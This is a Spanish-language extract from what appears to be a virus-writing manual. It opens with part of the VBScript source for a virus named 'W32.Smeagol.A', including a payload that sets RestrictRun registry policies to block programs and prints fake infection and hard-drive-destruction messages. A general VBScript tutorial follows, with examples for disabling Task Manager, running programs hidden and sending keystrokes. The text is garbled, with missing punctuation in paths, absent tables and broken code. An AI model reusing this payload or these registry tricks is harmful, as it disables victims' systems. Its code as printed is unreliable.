Month(Now) > 5) and (Day(Now) = 13 or Day(Now > 13) then MsgBox "Usted a sido infectado",vbCritical,"By Bill Gates" End If ''=> Payload Destructivo. Private Sub PayloadDestructivo() On Error Resume Next Dim a As Integer a = MsgBox("¿Desea desinstalar Windows?", 36, "Atención") If a = 6 Then MsgBox "Ud ha sido infectado con el virus: W32.Smeagol.A" & vbCrLf & "diseñado por *****/*****" & vbCrLf & "Dedicado a Osiris, mi mejor amigo en *****, y a todos los miembros de *****." & vbCrLf & "***** 2003/2004", vbSystemModal, "***** SoFtWaRe" Else MsgBox "Respuesta inesperada" & vbCrLf & "Design by S... digo, ejem!" & vbCrLf & "Design by *****", vbCritical, "W32.Smeagol.A / ***** SoFtWaRe" MsgBox "Software dedicado a mis amigos: " & vbCrLf & vbCrLf & "Osiris, MachineDramon, DemionKlaz & Falckon" & vbCrLf & vbCrLf & "W32.Smeagol.A versión beta", vbSystemModal, "***** SoFtWaRe" Ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun", " " ''=> Prohibir la ejecución de ejecutables Ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Policies\Explorer\RestrictRun", " " ''=> Prohibir la ejecución de ejecutables en WinNT End If End Sub
By KarlosVid(ÊÇ)
www.idat.byethost14.com
133
''=> es poneren num un numero aleatorio entre 1 y 0, Si sale 0 se salva tu HD, si sale 1 se destruye tu HD . Randomize Num = Rnd If Num = 0 Then MsgBox "Dia de suerte, Dios a querido que no destruya tu PC, dale gracias", vbExclamation, "Hendrix" End If If Num = 1 Then MsgBox "Mala suerte tio, Hoy es dia de destruccion", vbCritical, "Hendrix" End If ****************************************************************************** VBScript.- Son “simples” scripts, que se ejecutan por medio de un intérprete en el sistema, con lo que bastará con crear el código en un simple bloc de notas (o similar), y guardarlo con extensión *.vbs, sin necesidad de realizar ninguna compilación (aunque existe la posibilidad). Se puede decir que los vbs son una mejora con respecto a los bat, ya que estos, permiten una mayor interacción con el sistema operativo, y decir además que este lenguaje, es un derivado de Visual Basic. Caracteristicas: * No importan las mayúsculas o minúsculas * Para indicar un final de línea, no se debe de hacer más que pasar a la siguiente (no es necesario terminar con por ejemplo “ ; “ como en javascript) * Los comentarios, van precedidos de una “ ‘ “ (comilla simple). * msgBox, es para mostrar un mensaje en la pantalla. Tipos de dato: Existen varios tipos de datos que pueden manejarse en vbs, y los que más vamos a utilizar, son ; Booleano, Byte, Fecha, Double, Entero, Entero largo, Objeto, Single, Cadena. Todos estos representan valores verdadero/falso, fecha/hora, númerosentero positivo/negativo, cadena de texto (no creo necesite más explicación que esta). Operadores: Tendremos varios tipos de operadores a nuestra disposición. 1. Aritméticos: Suma(+), Resta(-), Multiplicación(*), División decimal(/), División entero(\), Potencia(^), Resto división(mod) 2. Comparación: Igual(=), Distinto(<>), Mayor(>), Menor(<), Menos o igual(<=), Mayor o igual(>=) 3. Lógicos: Y(and), O(or), Xor, No(not) 4. De cadena: Concatenación(&) Estos han sido a grandes rasgos, los operadores a utilizar en vbs, por lo que después, y haciendo uso de nuestro próximo tema (estructuras de control), se mostrarán algunos ejemplos. Estructuras de control: 1. IF (condicional).- Utiliza para evaluar 2 o más posibles resultados Dim valor Valor = 8 If valor < 10 then Msgbox "El valor es MENOR a diez " Else Msgbox "El valor es MAYOR a diez " End if 2. Case (condicional).- Sirve para anidar dos o más, para así realizar varias evaluaciones. Dim numero numero = 8 Select case numero case 6 msgbox "El valor es seis " case 7 msgbox "El valor es siete " case 8 msgbox "El valor es ocho " End select
By KarlosVid(ÊÇ)
www.idat.byethost14.com
134
3. FOR (bucle).- Utilizado cuando queremos repetir una determinada acción un cierto número de veces. Dim i For i=1 to 5 step 1 Msgbox "El valor de i es: " & i Next 4. FOR EACH(bucle).- Recorre todos los elementos de una colección o vector. Un array o matriz, es una estructura de datos en forma de variable, que permite almacenar más de un único valor, dentro de una única variable. Para acceder a cada uno de estos valores, será necesario hacer uso de índices. Forma1: (Simple) Dim nombres(2) nombres(0)= "Martín" nombres(1)= "Pablo" nombres(2)= "Carlos" Msgbox nombres(1) Forma1: (For Each) Dim nombres Dim n nombres = array("Martín","Pablo","Carlos") For each n in nombres Msgbox n next 5. WHILE (bucle).- Es utilizado cuando queremos que una determinada acción se repita mientras una determinada condición de cumpla. Dim numero Numero = 1 While numero <= 10 Msgbox numero numero = numero + 1 Wend 6. DO (bucle).- El bucle do tiene varias opciones, pero básicamente hará algo, “mientras”, o “hasta que” ocurra algo. Forma1: Dim a = 1 Do until a=10 Msgbox “Esto es un mensaje” Loop Forma2: Dim a = 1 Do while a<>10 Msgbox “Esto es un mensaje” Loop
Manejo de objetos Toda interacción de vbs con el sistema se basa en el manejo de objectos (ActiveX), que no son más que librerías especializadas y a nuestra diposición, por lo que dependiendo de lo que busquemos hacer, haremos uso de una u otra (mezc landolas en nuestros scripts). Los objetos básicos de los que se hace uso son dos: 1. FSO (FileSystemObject): manejo de unidades, archivos y carpetas. 2. Shell: acceso a información de sistema, trabajo con el registro, manejo accesos directos, ejecución de aplicaciones. Antes de continuar debo de explicar que al trabajar con los objetos, los mismos se deben de declarar de la siguiente manera: Set variable = createobject(objecto) Ejemplo:
Set objfso = createobject(“scripting filssystemobject”)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
135
Ahora sí, pasamos directamente al análisis del objeto FSO.
FSO (File System Object) Las distintas funciones que se pueden realizar a través de este objeto son: Borrar, mover y copiar archivos. Leer y escribir en archivos de texto (Crear). Obtener y modificar atributos de archivos y carpetas. Crear, borrar, mover y copiar carpetas. Obtener propiedades de archivos y carpetas. Listar subcarpetas. Listar discos y particiones. Obtener propiedades de discos y particiones. Obtener determinadas rutas de sistema. Mover archivos Objfso.movefile origen, destino Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso.movefile “C \archivo txt”, “D \Carpeta” Crear carpeta Set variable = objfso.createfolder(destino carpeta) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set micarpeta = objfso.createfolder(“C \carpeta”) Borrar archivos Objfso.deletefile archivo Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso.deletefile “C \archivo txt” Copiar archivos Objfso.copyfile origen, destino, sobreescribir Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso.copyfile “C \archivo txt”, “D \destino txt”, true Mover carpetas Objfso.movefolder origen, destino Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso.movefolder “C \Carpeta”, “D \Destino” Borrar carpetas Objfso.deletefolder carpeta Ejemplo: Objfso.deletefolder “C \Carpeta” Copiar carpetas Objfso.copyfolder origen, destino, sobreescribir Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso.copyfolder “C \Carpeta”, “D \Destino”, true Leer y escribir en archivos Para el manejo de archivos de texto, debemos de tener en cuenta, la existencia o no del archivo, y el modo en el que accedemos a él. Obviamente, si un archivo no existe, no podrémos acceder a él, y a su vez, si abrimos un archivo en modo de léctura, nunca podremos escribir dentro.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
136
Crear archivos de texto y escribir en ellos Set variable = objfso.createtextfile(ruta, sobreescribir) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivotexto = objfso createtextfile(“C \archivo txt”,true) ‘creamos el archivo archivotexto writeline “Este es el texto que estoy escribiendo” ‘creamos el archivo archivotexto.writeblanklines(2) ‘escribimos 2 líneas en blanco archivotexto writeline “ quí más texto” ‘escribimos otra línea de texto archivotexto.close ‘cerramos el archivo Notese que al comenzar, hemos creado el archivo y lo hemos asignado a una variable, luego hemos utilizado el identificador de archivo (variable), para escribir dentro de él, en este caso, hemos utilizado writeline, que escribe una línea, y agrega un retorno de carro para que si volvemos a escribir, lo hagamos en una nueva línea, en cambio, si en su lugar, utilizamos write, el resultado, será que no habrá salto de línea, por lo que todas las oraciones iran quedando una detrás de la otra. Por último, hemos cerrado el archivo.
Abrir archivos de texto y escribir en ellos Set variable = objfso.opentextfile(ruta, modo, creación) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivotexto = objfso.opentextfile(“C \archivo txt”,8,true) ‘abrimos el archivo archivotexto writeline “Este es el texto que estoy escribiendo” ‘escribimos una línea archivotexto.close ‘cerramos el archivo Como se puede ver, al abrir el archivo, hemos indicado la ruta, el modo 8 que se utiliza para appending o escritura al final de archivo, y true, que quiere decir que en caso de que no exista el archivo se cree, es decir que de este modo, no solo abrimos el archivo, sino que de no existir, dicho archivo será creado en el proceso. Para tener en cuenta, los modos en los que se puede abrir un archivo son: 1- Modo LECTURA 2- Modo ESCRITURA (escribe al principio) 8- Modo APPENDING (escribe al final) Como se puede ver, al abrir el archivo, hemos indicado la ruta, el modo 8 que se utiliza para appending o escritura al final de archivo, y true, que quiere decir que en caso de que no exista el archivo se cree, es decir que de este modo, no solo abrimos el archivo, sino que de no existir, dicho archivo será creado en el proceso.
Leer desde archivos de texto Así como abrimos archivos y podemos escribir en ellos, también existe la posibilidad de leer desde ellos, para lo cual utilizaremos readline, y readall. Como se puede imaginar, con readline iremos leyendo una a una las líneas del archivo (cada vez que pongamos readline leeremos solo una), con este, leemos una línea, y el puntero se situa al final de la línea, para que a la próxima ejecución de esta función, sea la línea siguiente la que sea leída. Con readall en cambio, leeremos el total de archivo. Existe además una función llamada skipline, con la cual saltaremos la lectura de una línea. Ejemplo:
By KarlosVid(ÊÇ)
www.idat.byethost14.com
137
Set objfso = createobject(“scripting filesystemobject”) Set archivotexto = objfso.opentextfile(“C \archivo txt”,1) ‘abrimos el archivo msgbox archivotexto.readline ‘leemos una línea, la primera archivotexto.skipline ‘saltamos una línea msgbox archivotexto.readline ‘leemos una línea, la tercera archivotexto.close ‘cerramos el archivo
Atributos de archivos y carpetas A continuación explicaré el método mediante el cual, se puede obtener, o bien cambiar, los atribuos de archivos y carpetas (es prácticamente igual para ambas cosas) Obtener atributos Set variable = objfso.getfile(ruta) variable.attributes Ejemplo: Set objfso = createobject(“scripting filesystemobject”) ‘mensaje con los attributos del archivo Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf Msgbox archivo.attributes En este ejemplo vemos que luego de declarar el objeto, lo que hacemos es obtener el control del el archivo tutorial.pdf, para lo cual utilizamos getfile, y asignamos el archivo a la variable archivo. Luego, y ya con el archivo en la variable, podemos utilizarlo directamente para mostrar sus atributos, que no será más que un número que englobará todas las constantes de los atributos. Las constantes que hacen referencia a los atributos de archivo son:
Como comentaba antes, attributes devolverá un valor único que será la sumatoria de cada uno de los valores para cada atributo del archivo. Como ejemplo: Un archivo que tenga atributos de; solo lectura, oculto, de sistema, y de archivo, tendrá un valor de 1+2+4+32= 39 Cambiar atributos Set variable = objfso.getfile(ruta) variable.attributes = sumaatributos Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf archivo.attributes = 34 ‘attributo dearchivo y oculto
By KarlosVid(ÊÇ)
www.idat.byethost14.com
138
El cambiar atributos consiste simplemente en asignar un valor a attributes. En el ejemplo anterior he puesto como valor 34 que representa atributos de archivo y oculto.
Propiedades de archivos y carpetas Así como podemos obtener y modificar los atributos de los archivos y carpetas, podemos acceder a determinadas propiedades de los mismos, entre ellas: •
Nombre; name
•
Nombre corto; shortname
•
Tamaño; Size
•
Ruta completa; path
•
Ruta corta; shortpath
•
Fecha de creación/modificación/último acceso; datecreated, datelastmodified, datelastaccessed
•
Tipo de archivo; type
•
Carpeta contenedora; parentfolder
Estas son las principales propiedades a las que podemos acceder, lo cual se hará de la siguiente forma: Set variable = objfso.getfile(ruta) Msgbox variable.propiedad Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf Msgbox archivo.size ‘tamaño del archivo en bytes Para obtener otras propiedades, simplemente sería cuestión de cambiar “size” por alguna de las otras propiedades a las que tenemos acceso (les recomiendo probar con cada una para ver los resultados), y de igual manera, se haría con carpetas en lugar de archivos, para lo que solamente tendríamos que cambiar getfile, por getfolder.
Listar subcarpetas Con listar subcarpetas, nos referimos a, acceder a la colección de subcarpetas de una carpeta “X”, para trabajar con cada una de ellas de manera independiente. Cuando hablamos de colección, hacemos referencia a un array, en el que están todos los elementos contenidos en un determinado “listado” Set variable = objfso.getfolder(ruta) Set subvariable = variable.subfolders Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set micarpeta = objfso getfolder(“C \Carpeta”) ‘obtenemos el control sobre la carpeta Set subcarpetas = micarpeta.subfolders ‘obtenemos la colección de subcarpetas For each s in subcarpetas ‘por cada carpeta(s) en la colección(subcarpetas) Msgbox s.name ‘mensaje con el nombre Next ‘pasamos a la siguiente subcarpeta Bueno, como se ve en este caso, el acceder a las subcarpetas no es totalmente directo, sino que, en un principio, obtenemos la colección (array) de carpetas, para luego trabajar con cada una de ellas por medio de un for que recorre toda la colección.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
139
Al listar subcarpetas, se debe de terner en cuenta además, que la colección, solamente contiene, las carpetas del primer nivel, y no las que se encuentran en los niveles consiguientes, para que quede más claro: C:\carpeta C:\carpeta\nivel1 C:\carpeta\nivel1\nivel2 Si listamos la colección de subcarpetas en la carpeta “C:\carpeta”, obtendremos todas las del nivel 1, pero no las del nivel 2, para eso, deberíamos de implementar otro for que haga referencia a estas.
Listar discos/particiones Al igual que para listar subcarpetas, para listar discos y particiones lo haremos a traves de una colección, por lo que en realidad, será muy similar al punto anterior. Set variable = objfso.getfolder(ruta) Set discos = variable.drives Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set discos = objfso.drives ‘obtenemos la colección de discos For each d in discos ‘por cada disco(d) en la colección(discos) Msgbox d.driveletter ‘mensaje con la letra de disco Next ‘pasamos al siguiente disco Como ya se había dicho, el método de listar los discos y particiones, es el mismo que para obtener las subcarpetas de una carpeta, por lo que no debería de presentar ningún problema el hacerlo. También aclarar, que en el anterior ejemplo, solo he incluído una propiedad que no se había visto anteriormente, y esta es la de driveletter, y que como ya se habrán dado cuenta, hace referencia a la letra que tiene asignado el disco o partición en el sitema, por lo que una vez mencionado esto, pasaremos justamente, a identificar, cuales son las propiedades de disco a las que tendremos acceso.
Propiedades de disco Como hemos visto en el anterior punto, a traves del objecto FSO es posible acceder a la colección de discos, así como a sus propiedades, siendo estas propiedades, las siguientes: •
Letra; driveletter
•
Nombre del disco; volumename Espacio disponible; availablespace
•
Espacio libre; freespace
•
Espacio total; totalsize
•
Disponibilidad; isready
•
Ruta; path
•
Sistema de ficheros (NTFS, FAT, CDFS); filesystem
•
Carpeta principal; rootfolder
•
Número de serie; serialnumber
•
Nombre compartido; sharename
•
Tipo de disco; drivetype
By KarlosVid(ÊÇ)
www.idat.byethost14.com
140
Ejemplo: no pondré en este caso, ya que es sería igual al que he puesto anteriormente. Por otra parte, solamente profundizaré en una de las propiedades de los discos (creo que las otras son fácilmente identificables), y es justamente, la última que he enumerado, drivetype El tipo de disco de un disco (valga la redundancia), puede estar entre los siguientes:
También he de acotar, que la disquetera (Unidad A), es reconocida como disco extraíble, así como también ocurre, con las unidades virtuales, ej; aquellas carpetas montadas con el comando SUBST de ms-dos.
Rutas de carpetas Por último, pero no menos importante, debo de comentar que el objecto FSO, permite obtener la ruta de tres de las carpetas más importantes del sistema, como lo son: •
Windows (0)
•
System32 (1)
•
Temp (2)
Para acceder a ellas, haremos uso de la función getspecialfolder. Set variable = objfso.getspecialfolder(constante) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set micarpeta = objfso.getspecialfolder(0) ‘obtenemos el control sobre la carpeta Msgbox micarpeta.path ‘mensaje con la ruta de la carpeta Como se ve en ejemplo, en este caso, nos hacemos con el control de la carpeta de windows, y luego mostramos su ruta, para poder accesar a las carpetas, las constantes son las que he indicado en un entre parentesis en un principio, al nombrar las carpetas. Bueno, con esto hemos terminado con el objeto FSO, pasemos entonces al segundo y principal objeto, la shell.
Shell (wscript.shell) A través de este objeto podemos entre otras cosas: •
Mostrar mensajes temporizados
•
Leer, borrar, y escribir en el registro de windows
•
Ejecutar aplicaciones (dos métodos)
•
Obtener el foco de una ventana
•
Enviar pulsaciones de teclado
•
Acceder multiples carpetas de sistema
•
Obtener variables del sistema
•
Crear accesos directos
By KarlosVid(ÊÇ)
www.idat.byethost14.com
141
Mostrar mensajes temporizados Esta es la menos importante de todas las funciones de este objeto, pero no deja de ser útil en algunas ocasiones, sobre todo, si no queremos que un proceso se bloquee, solo por intentar mostrar un mensaje. Para que quede más claro, a lo largo de todos los ejemplo que he puesto, he ido mostrando determinados mensajes a traves de la función de msgbox (opción básica). Los mensajes generados con dicha función, no salen de pantalla, hasta bien el usuario, no da click en el/los botones que tiene el cuadro de mensaje, por lo que en caso de utilizar un mensaje de este tipo, la ejecución de nuestro script, se parará hasta bien este no salga de pantalla. Pero en lugar de utilizar este tipo de mensaje, podemos hacer uso de una ventana popup, la cual desaparecerá sola al cabo del tiempo que hayamos especificado, luego de lo cual, continuará la ejecución del script. Modo en el que se emplea esta ventana: Variableventana = variable.popup(texto, tsegundos, título, botones) Ejemplo: Set objshell = createobject(“Wscript shell”) rventana = objshell popup(“Este es un mensaje de prueba”,3,”Mensaje Popup”,64) El resultado;
Para empezar, se puede apreciar que el objeto shell, se declara con Wscript.shell, y bueno, lo referente al mensaje, creo que una imagen dice más que mil palabras, hemos mostrado un mensaje en pantalla, el cual al cabo de 3 segundos, desaparecera y dará paso al resto de nuestro script. Notese algo, y es que para los “botones” he puesto el valor 64, este valor, hace referencia a la sumatoria de los botones e iconos que aparecen en la ventana de mensaje, siendo los mismos:
En el caso de mi mensaje, el 64 corresponde a la suma del botón de ok (cero) y el icono de información (64). Si quisieramos mostrar un mensaje de Si, No y Cancelar, con un icono de pregunta, deberíamos de poner como valor el número 35 (3+32).
By KarlosVid(ÊÇ)
www.idat.byethost14.com
142
Por otro lado, también vemos en el ejemplo como el popup, se guarda en una variable de nombre rventana. En dicha variable, se guarda el valor de la respuesta dada al mensaje, es decir, para el caso de un mensaje con los botones de Si, No y Cancelar, la variable rventana guardaría el valor de cual de esos botones fue presionado por el usuario, siendo estas las posibilidades: Es decir, que en caso de que la persona presione Si, el resultado obtenido será
6, esto puede servirnos de mucho si queremos darle un poco de interactividad a nuestros scripts y tomar diferentes caminos en virtud de las respuestas de los usuarios, lo cual puede ser utilizado junto a las funciones de msgbox (para esta también valen los botones e iconos) e inputbox, aunque a pesar de la mención las veremos en detalle, ya que no dependen de ningún objeto, y son de fácil comprensión.
Leer, borrar y modificar el registro de windows Sin lugar a dudas, es una de las funciones más atractivas de este objeto, y su implementación no implica ninguna dificultad, y aún así, la implementación de esta función, no presenta ninguna dificultad. Leer valores variable.regread(llave de registro) Ejemplo: Set objshell = createobject(“wscript shell”) Msgbox objshell.regread("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures") ‘va todo en una misma línea, la llave es muy larga Sencillo de entender, a través del objeto shell llamamos a la función regread, encargada de leer las llaves del registro, en este caso, he optado por una llave un tanto larga, pero que contiene la ruta de la carpeta de “mis imágenes”, al igual que en otros ejemplos, muestro el valor por medio de un msgbox, pero como en todos los casos, es posible guardar este valor en una variable para luego trabajar con ella. Borrar valores variable.regdelete(llave de registro) Ejemplo: Set objshell = createobject(“wscript shell”) objshell.regdelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures") Al igual que para leer, el borrar cadenas no tiene nada de especial, sino que simplemente debemos de llamar a la función regdelete para deshacernos de la cadena en cuestión.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
143
Escribir/modificar el registro Algo que de seguro le interesará a varios. variable.regwrite(llave de registro, valor, tipo de dato) Ejemplo: Set objshell = createobject(“wscript shell”) objshell.regwrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWOR D") ‘va todo en una misma línea, la llave es muy larga En este ejemplo, estaríamos modificando la llave del registro que deshabilita el administrador de tareas (taskmgr). Los datos que debemos de pasarle a esta función son; la llave a modificar/crear claro esta, el valor que le daremos, en mi ejemplo ha sido 1, y el tipo de datos que estamos ingresando. Como muchos sabrán, el registro de windows soporta ciertos tipos de datos en las diferentes claves de las que hace uso, a saber:
Existe un quinto tipo de datos, el REG_MULTI_SZ, pero no es soportado por esta función. Tener en cuenta que regwrite puede tener problemas con cadenas demaciado largas, y considerar también, que tal como he puesto en el título, regwrite creará una llave en caso de no existir, y la modificará en caso de que ya esté presente. También he de recomendar que en caso de trabajar con el registro se ha de tener mucho cuidado, y que quererse dejar el code más legible, se utilicen las siguientes abreviaciones (lo he hecho en mi ejemplo):
Ejecutar aplicaciones Como he comentado antes, a traves de este objeto existen dos métodos diferentes de ejecutar aplicaciones, loscuales además, tendrán diferentes opciones y resultados. Método Run Este es el más simple y usado de los dos métodos. variable.run rutaprograma, estadoventana, espera Ejemplo: Set objshell = createobject(“wscript shell”) Objshell run “notepad”, 1, true En este caso ejecutamos el bloc de notas, en modo normal, y establecemos, que el script se pause (true) hasta que se cierre la aplicación (notepad).
By KarlosVid(ÊÇ)
www.idat.byethost14.com
144
Los estados en los que se puede abrir la ventana, van del 0 al 10, pasando por oculto, maximizado y minimizado, entre otros, pero pasaré de explicar cada uno de ellos ya que resulta mejor opción probar y ver el resultado, que lo que podría ser la explicación. Lo que si cabe destacar, es el estado 0 (cero) o vbhide, que ejecuta una aplicación en modo oculto, sin mostrar ningún tipo de ventana. Probar por ejemplo sustituyendo el número 1 por vbhide en el ejemplo que he dejado, para ver (en realidad no se verá nada) como se ejecuta el notepad sin mostrar ninguna ventana (si se verá el proceso en el administrador de tareas). Tener en cuenta además, que el estado de la ventana, y la espera del programa, son totalmente opcionales , así que con poner simplemente objshell run “notepad” hubiese alcanzado. Método Exec Este método es muy similar al anterior, solamente que nos permite un mayor control sobre la aplicación que estamos corriendo, con la excepción de que no nos permite seleccionar estado de la ventana. variable.exec(rutaprograma) Ejemplo: Set objshell = createobject(“wscript shell”) Objshell Exec(“notepad”) Como vemos, el método en el que se ejecuta la aplicación es practicamente igual al anterior, solamente hemos sutituído run por exec y no hemos pasado ningún parámetro a la función, pero ahora veamos que es lo que o hace diferente del otro método. •
Status
•
ProcessID
•
Terminate
•
Stdin, Stdout, Stderr
Estas serían las funciones que diferencian el exec del run, todas estas se aplican sobre la aplicación/comando que estamos ejcutando, por lo que, para hacer uso de esta funcionalidad, es necesario ejecutar la aplicación, y asignar la misma a una variable para luego trabajar a traves de esta. Veamos esto, junto a la explicación de status y processid. El status identifica el estado de la aplicación ejecutada, 0 (cero) representa una aplicación en ejecución, y 1 (uno), indentifica que la aplicación fue cerrada y su proceso ya no se encuentra presente. Con respecto al processid, creo que salta a la vista la función del mismo, no es más que el identificador de proceso (PID). Ejemplo: Set objshell = createobject(“wscript shell”) Set bloc = Objshell Exec(“notepad”) Msgbox bloc.status Msgbox bloc.processid En este ejemplo, ejecutamos el bloc de notas, asignando su proceso a la variable “bloc”, y luego mostramos dos mensajes, uno con el status (debería de ser 0), y otro con el número de proceso. La función status nos servirá en definitiva, para poder monitorear nuestro proceso, y realizar una determinada acción en función de si permanece abierto, o bien, lo han cerrado. Ejemplo: Set objshell = createobject(“wscript shell”) Set bloc = objshell Exec(“notepad”) Do while bloc.status = 0
By KarlosVid(ÊÇ)
www.idat.byethost14.com
145
Wscript.sleep 200 ‘sirve para hacer una pausa de x milésimas de segundo loop msgbox “Se ha cerrado el bloc de notas” Pasemos entonces a terminate Esta función, permite terminar el proceso que habíamos iniciado, por lo que por su nombre era fácil predecirlo Ejemplo: Set objshell = createobject(“wscript shell”) Set bloc = objshell Exec(“notepad”) Wscript.sleep 5000 ‘Pausa de 5000 milésimas, o 5 segundos bloc.terminate Abrimos el bloc de notas, realizamos una espera de 5 segundos, y cerramos el bloc de notas, fácil. Pasando ahora a las últimas funciones de exec; stdin, stdout, stderr, debo de aclarar que estas funciones pueden ser utiles a la hora de trabajar en línea de comandos, pero dado que en línea de comandos hay mejores maneras (a mi
criterio) de hacerlo, obviaré la explicación de dos de estas funciones, y solo le daré importancia a stdout que si puede facilitarnos la tarea en la ejecución de comandos de ms-dos. Stdout nos muestra la salida de un los comandos ejecutados a traves de exec, y para que se entienda mejor, pasare directamente a un ejemplo; Set objshell = createobject(“wscript shell”) Set ping = objshell.exec(“cmd /c ping www google com”) Msgbox ping.stdout.readall El resultado: En este ejemplo, hemos ejecutado un ping a google a traves del cmd, y luego por medio de stdout y su readall hemos leído el contenido completo de la salida del comando y lo hemos mostrado en un msgbox. También, en lugar de readall podemos utilizar read(x), donde x es el número de caracteres que queremos leer. En un ejemplo un poco mas “elaborado”, haremos lo mismo que antes, pero esta vez haciendo uso de read, leeyendo el texto completo, pero carácter a carácter. Set objshell = createobject(“wscript shell”)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
146
Set ping = objshell exec(“cmd /c ping www google com”) do if not ping.stdout.atendofstream then respuesta = resultado & ping.stdout.read(1) else exit do end if loop msgbox respuesta Este ejemplo, es un poco más dificil de explicar, así como también lo es entender, por lo que quien quiera entenderlo deberá prestar atención y visualizarlo detenidamente. En resumen, ejecutamos el ping a google, y luego nos metemos en un bucle infinito (do), dentro de este, un análisis condicional, si no se alcanza el final de la salida (stdout.atendofstream), la variable respuesta, es igual a la propia variable y un carácter (concatenamos). Ese analisis se continuará haciendo hasta que se alcance el final de la lectura, es ahí donde entonces, pasamos al else, y el else dice que, se sale del bucle do (exit do). Por lo que en definitiva, el if se ejecutará una y otra vez, e ira guardando en la variable (respuesta) letra por letra hasta formar el mensaje completo, cuando se llegue al final, se saldrá del bucle, y se mostrara el msgbox con la “respuesta” Un poco más complicado, pero espero se entienda la idea de este ejemplo.
Obtener el foco de una ventana Variable.appactivate tituloventana Ejemplo: Set objshell = createobject(“wscript shell”) Objshell appactivate “Sin título” Con esto, obtendríamos el foco de una ventana con por ejemplo, el título “Sin título – Bloc de notas”, que como se habrán dado cuenta, es el título que tiene un nuevo bloc de notas. Las consideraciones que debemos de tener en cuenta al utilizar esta función, son las referentes al orden en el que realiza las comparaciones en busca de nuestra ventana; Primero busca la ventana que tiene el título exacto que hemos establecido. Si no encuentra el título exacto, busca aquella ventana que coincida en el principio del título. Si no encuentra ni el título exacto, ni tampoco encuentra título que comience como el nuestro, entonces busca aquel que termina como el que queremos. También, en el caso de haber varias ventanas con el mismo nombre, elegira una cualquiera al azar, y le dará el foco.
Enviar pulsaciones del teclado Otra de las funciones llamativas de este objeto, es la función sendkeys que nos permitirá enviar pulsaciones de teclado, como si estuviesemos escribiendo, así que hay que tener cuidado con el uso que se da, ya que una vez ejecutada, enviará las pulsaciones a la ventana activa, por lo que si no es lo que deseabamos, podemos terminar presionando un montón de teclas en un programa x, con los resultados que ello puede acarrear. Variable.sendkeys teclas Ejemplo: Set objshell = createobject(“wscript shell”) Objshell sendkeys “Estas son las teclas” Este es un ejemplo muy simple ,que además no recomiendo probar, ya que como he dicho antes, enviará las pulsaciones de las teclas a la ventana activa, y los resultados pueden no “gustarnos”
By KarlosVid(ÊÇ)
www.idat.byethost14.com
147
Es por eso que a continuación muestro un ejemplo más claro de esta función, haciendo uso además, de funciones que hemos visto anteriormente. Set objshell = createobject(“wscript shell”) Set bloc = objshell exec(“notepad”) ‘ejecutamos el bloc de notas Wscript.sleep 2000 ‘espera de dos segundos Objshell.appactivate bloc.processid ‘ponemos el foco en la ventana del bloc Wscript.sleep 200 ‘espera de mílesimas Objshell sendkeys “Tutorial vbs” ‘enviamos un mensaje con sendkeys Objshell sendkeys “ ENTER ” ‘luego del mensaje anterior, un ENTER Wscript.sleep 2000 ‘nueva espera de dos segundos Objshell sendkeys “Probando la funcion sendkeys” ‘enviamos una segunda línea de mensaje Como había dicho, en este ejemplo he hecho uso de algunas otras fuciones vistas anteriormente. Para empezar he optado por ejecutar el bloc de notas a traves de la función exec, podría optarse por run, pero este ejemplo me servía para mostrarles el uso que puede hacerse del processid. Como vemos, a la hora de obtener el foco de la ventana con appactivate, he puesto como “título” el processid, ya que vbs nos permite hacer uso conjunto de estas dos funciones, para de este modo asegurarnos de que el foco se ponga en la ventana que corresonde y no en otra con similar nombre. Al igual que antes, podríamos poner simplemente el nombre de la ventana del bloc de notas en lugar de processid, pero igualmente creo no quedarán dudas de por que el uso de esta. Luego, con respecto al envío de las teclas, no creo que merezca explicación alguna, ya que es simplemente el mensaje/pulsación que queremos envíar. Igualmente habrán visto en medio del envío de teclas que también esta presente una tecla especial, el {ENTER}, es por eso que dejo a continuación, la tabla con el listado de argumentos para estas teclas:
Para el caso de las teclas SHIFT, CTRL y ALT, los argumentos con +, ^ y % respectivamente, no siendo posible utilizar, la tecla PRTSC, o lo que es igual, la tecla de PRINT (la que se utiliza para capturar pantalla). Para utilizar estas tres letras; Objshell sendkeys “+ ” Objshell sendkeys “^V” Objshell sendkeys “% T B ”
By KarlosVid(ÊÇ)
www.idat.byethost14.com
148
Carpetas “especiales” Con carpetas especiales me refiero a aquellas carpetas como “Inicio”, “Enviar a” y “Favoritos” entre otras Para eso, haremos uso de la función specialfolders. Variable.specialfolders(carpeta) Ejemplo: Set objshell = createobject(“wscript shell”) Msgbox objshell specialfolders(“Desktop”) Con lo que obtendríamos un msgbox, con la ruta del escritorio, algo como “C \Documents and Settings\Novlucker\Escritorio”, de igual modo y como he mencionado antes, podemos acceder a las rutas de otras carpetas, para lo que, contamos con la siguiente tabla.
